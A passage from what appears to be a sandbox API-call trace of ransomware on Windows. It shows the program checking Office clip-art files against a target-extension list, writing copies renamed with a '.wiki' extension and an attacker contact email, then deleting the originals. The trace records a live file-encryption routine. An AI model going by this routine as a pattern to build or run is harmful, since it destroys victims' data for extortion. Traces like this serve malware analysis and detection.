(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0063.418] lstrlenW (lpString=".dbf") returned 4 [0063.418] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0063.418] lstrlenW (lpString=".1cd") returned 4 [0063.419] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0063.419] lstrlenW (lpString=".jpg") returned 4 [0063.419] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0063.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0063.419] lstrlenW (lpString=".doc") returned 4 [0063.419] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.419] lstrlenW (lpString=".docx") returned 5 [0063.419] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.419] lstrlenW (lpString=".pdf") returned 4 [0063.419] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.419] lstrlenW (lpString=".xls") returned 4 [0063.419] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.419] lstrlenW (lpString=".xlsx") returned 5 [0063.419] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.419] lstrlenW (lpString=".ppt") returned 4 [0063.419] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0063.419] lstrlenW (lpString=".zip") returned 4 [0063.419] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.419] lstrlenW (lpString=".rar") returned 4 [0063.419] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.419] lstrlenW (lpString=".bz2") returned 4 [0063.419] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.419] lstrlenW (lpString=".7z") returned 3 [0063.419] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0063.419] lstrlenW (lpString=".dbf") returned 4 [0063.419] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0063.419] lstrlenW (lpString=".1cd") returned 4 [0063.419] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0063.420] lstrlenW (lpString=".jpg") returned 4 [0063.420] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.420] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0063.420] lstrlenW (lpString="BD00160_.WMF") returned 12 [0063.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0063.581] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=22516) returned 1 [0063.582] CloseHandle (hObject=0x164) returned 1 [0063.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x20 [0063.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0063.582] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.582] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0063.583] GetLastError () returned 0x0 [0063.583] ReadFile (in: hFile=0x164, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x57f4, lpOverlapped=0x0) returned 1 [0063.584] WriteFile (in: hFile=0x230, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x5800, lpOverlapped=0x0) returned 1 [0063.585] ReadFile (in: hFile=0x164, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.585] WriteFile (in: hFile=0x230, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.586] SetEndOfFile (hFile=0x230) returned 1 [0063.586] CloseHandle (hObject=0x230) returned 1 [0063.586] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.586] SetEndOfFile (hFile=0x164) returned 1 [0063.635] CloseHandle (hObject=0x164) returned 1 [0063.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.636] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 1 [0063.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0063.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0063.636] lstrlenW (lpString=".doc") returned 4 [0063.636] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.636] lstrlenW (lpString=".docx") returned 5 [0063.636] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.636] lstrlenW (lpString=".pdf") returned 4 [0063.636] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.636] lstrlenW (lpString=".xls") returned 4 [0063.636] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.636] lstrlenW (lpString=".xlsx") returned 5 [0063.636] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.636] lstrlenW (lpString=".ppt") returned 4 [0063.636] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0063.636] lstrlenW (lpString=".zip") returned 4 [0063.636] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.636] lstrlenW (lpString=".rar") returned 4 [0063.636] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.636] lstrlenW (lpString=".bz2") returned 4 [0063.636] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.636] lstrlenW (lpString=".7z") returned 3 [0063.636] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0063.636] lstrlenW (lpString=".dbf") returned 4 [0063.636] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0063.637] lstrlenW (lpString=".1cd") returned 4 [0063.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0063.637] lstrlenW (lpString=".jpg") returned 4 [0063.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0063.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0063.637] lstrlenW (lpString=".doc") returned 4 [0063.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.637] lstrlenW (lpString=".docx") returned 5 [0063.637] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.637] lstrlenW (lpString=".pdf") returned 4 [0063.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.637] lstrlenW (lpString=".xls") returned 4 [0063.637] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.637] lstrlenW (lpString=".xlsx") returned 5 [0063.637] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.637] lstrlenW (lpString=".ppt") returned 4 [0063.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0063.637] lstrlenW (lpString=".zip") returned 4 [0063.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.637] lstrlenW (lpString=".rar") returned 4 [0063.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.637] lstrlenW (lpString=".bz2") returned 4 [0063.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.637] lstrlenW (lpString=".7z") returned 3 [0063.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0063.637] lstrlenW (lpString=".dbf") returned 4 [0063.637] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0063.637] lstrlenW (lpString=".1cd") returned 4 [0063.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0063.638] lstrlenW (lpString=".jpg") returned 4 [0063.638] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.638] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0063.638] lstrlenW (lpString="BD09662_.WMF") returned 12 [0063.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0063.638] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=20554) returned 1 [0063.638] CloseHandle (hObject=0x164) returned 1 [0063.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x20 [0063.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0063.638] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.638] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0063.639] GetLastError () returned 0x0 [0063.639] ReadFile (in: hFile=0x164, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x504a, lpOverlapped=0x0) returned 1 [0063.641] WriteFile (in: hFile=0x230, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x5050, lpOverlapped=0x0) returned 1 [0063.642] ReadFile (in: hFile=0x164, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.642] WriteFile (in: hFile=0x230, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.642] SetEndOfFile (hFile=0x230) returned 1 [0063.642] CloseHandle (hObject=0x230) returned 1 [0063.642] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.642] SetEndOfFile (hFile=0x164) returned 1 [0063.643] CloseHandle (hObject=0x164) returned 1 [0063.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.644] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf")) returned 1 [0063.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0063.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0063.644] lstrlenW (lpString=".doc") returned 4 [0063.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.644] lstrlenW (lpString=".docx") returned 5 [0063.644] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.644] lstrlenW (lpString=".pdf") returned 4 [0063.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.644] lstrlenW (lpString=".xls") returned 4 [0063.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.644] lstrlenW (lpString=".xlsx") returned 5 [0063.644] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.644] lstrlenW (lpString=".ppt") returned 4 [0063.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0063.644] lstrlenW (lpString=".zip") returned 4 [0063.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.644] lstrlenW (lpString=".rar") returned 4 [0063.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.644] lstrlenW (lpString=".bz2") returned 4 [0063.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.644] lstrlenW (lpString=".7z") returned 3 [0063.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0063.644] lstrlenW (lpString=".dbf") returned 4 [0063.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0063.644] lstrlenW (lpString=".1cd") returned 4 [0063.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0063.645] lstrlenW (lpString=".jpg") returned 4 [0063.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0063.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0063.645] lstrlenW (lpString=".doc") returned 4 [0063.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.645] lstrlenW (lpString=".docx") returned 5 [0063.645] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.645] lstrlenW (lpString=".pdf") returned 4 [0063.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.645] lstrlenW (lpString=".xls") returned 4 [0063.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.645] lstrlenW (lpString=".xlsx") returned 5 [0063.645] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.645] lstrlenW (lpString=".ppt") returned 4 [0063.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0063.645] lstrlenW (lpString=".zip") returned 4 [0063.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.645] lstrlenW (lpString=".rar") returned 4 [0063.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.645] lstrlenW (lpString=".bz2") returned 4 [0063.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.645] lstrlenW (lpString=".7z") returned 3 [0063.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0063.645] lstrlenW (lpString=".dbf") returned 4 [0063.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0063.645] lstrlenW (lpString=".1cd") returned 4 [0063.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0063.645] lstrlenW (lpString=".jpg") returned 4 [0063.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.646] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0063.646] lstrlenW (lpString="BD09664_.WMF") returned 12 [0063.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0063.646] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=7966) returned 1 [0063.646] CloseHandle (hObject=0x164) returned 1 [0063.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x20 [0063.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0063.646] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.646] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0063.647] GetLastError () returned 0x0 [0063.647] ReadFile (in: hFile=0x164, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x1f1e, lpOverlapped=0x0) returned 1 [0063.648] WriteFile (in: hFile=0x230, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x1f20, lpOverlapped=0x0) returned 1 [0063.649] ReadFile (in: hFile=0x164, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.649] WriteFile (in: hFile=0x230, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.649] SetEndOfFile (hFile=0x230) returned 1 [0063.650] CloseHandle (hObject=0x230) returned 1 [0063.650] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.650] SetEndOfFile (hFile=0x164) returned 1 [0063.650] CloseHandle (hObject=0x164) returned 1 [0063.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 1 [0063.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0063.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0063.651] lstrlenW (lpString=".doc") returned 4 [0063.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.651] lstrlenW (lpString=".docx") returned 5 [0063.651] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.651] lstrlenW (lpString=".pdf") returned 4 [0063.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.651] lstrlenW (lpString=".xls") returned 4 [0063.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.651] lstrlenW (lpString=".xlsx") returned 5 [0063.651] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.651] lstrlenW (lpString=".ppt") returned 4 [0063.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0063.651] lstrlenW (lpString=".zip") returned 4 [0063.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.651] lstrlenW (lpString=".rar") returned 4 [0063.651] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.651] lstrlenW (lpString=".bz2") returned 4 [0063.651] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.652] lstrlenW (lpString=".7z") returned 3 [0063.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0063.652] lstrlenW (lpString=".dbf") returned 4 [0063.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0063.652] lstrlenW (lpString=".1cd") returned 4 [0063.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0063.652] lstrlenW (lpString=".jpg") returned 4 [0063.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.652] lstrlenW 